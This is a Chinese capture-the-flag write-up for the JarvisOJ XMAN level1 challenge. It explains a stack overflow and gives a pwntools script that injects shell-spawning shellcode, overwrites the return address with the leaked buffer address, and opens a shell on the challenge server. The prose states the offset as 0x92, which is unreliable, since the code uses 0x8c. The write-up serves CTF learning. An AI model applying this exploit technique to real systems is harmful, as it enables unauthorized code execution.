JarvisOj [XMAN]level-1

思路WP

  • 同样的使用ida打开,由main函数开始,调用了vulner_function,也同样建立了buf字符串buf到ret的偏移为(0x4-(-0x88),一共为0x92。
main2.png
vuler.png
buff.png
buff-r.png
  • 但同样的,read函数向buf中输入的数据最大可为0x100。同样属于栈溢出,但该题并没有为我们提供callsteam函数,因此需要我们自行写,但因为pwntool的强大,我们可以使用pwn中的asm(shellcraft.sh())函数来直接获取执行。
  • system(“/bin/sh”)汇编代码所对应的机器码,但此时我们还需要得到buf的地址,经过调试可以知道当与服务器进行链接后,在服务器返回"What's this:%p?\n"后会有加上一个地址,由代码逻辑可知,这个地址就是buf的地址,由图片知其位置在[14:-2].
level1返回地址.png
  • 因此我们将之截取,并保存在buf_addr中。因此我们把shellcode的代码从buf的起始地址开始填充,然后buf中剩下的地址有a填充,因为我们最后需要调用shellcode代码,因此再加上buf_addr(记得将之字符化)

代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

![level1.png](https://upload-images.jianshu.io/upload_images/8384623-ce3277246964f144.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
shellcode = asm(shellcraft.sh())
#io = process('./level1')
io = remote('pwn2.jarvisoj.com', 9877)
text = io.recvline()[14: -2]
#print text[14:-2]
buf_addr = int(text, 16)

payload = shellcode + '\x90' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()

解释

recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n
int()表示将得到的地址转换为16进制数

结果

level1.png
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys阅读 3,446评论 0 2
  • 大家好,我是007-7751陈超群。 受战友陈孝康战友的邀请,我接受了组织的神秘任务,担任8月份的值月生,为大家做...
    爬行中的小蜗牛阅读 297评论 1 2
  • 午后,有些困顿,有些疲倦,看了下案头的小吃,巧克力饼干,拿起又放下了。因为这一口甜爽过后,余下的超多热量,对于...
    麦麦大长腿阅读 619评论 1 6
  • 颜青【厦门千叶集贸易有限公司】 【日精进打卡第134天】 【知~学习】 《六项精进》大纲2遍共270遍 《大学》开...
    千叶集青阅读 269评论 0 0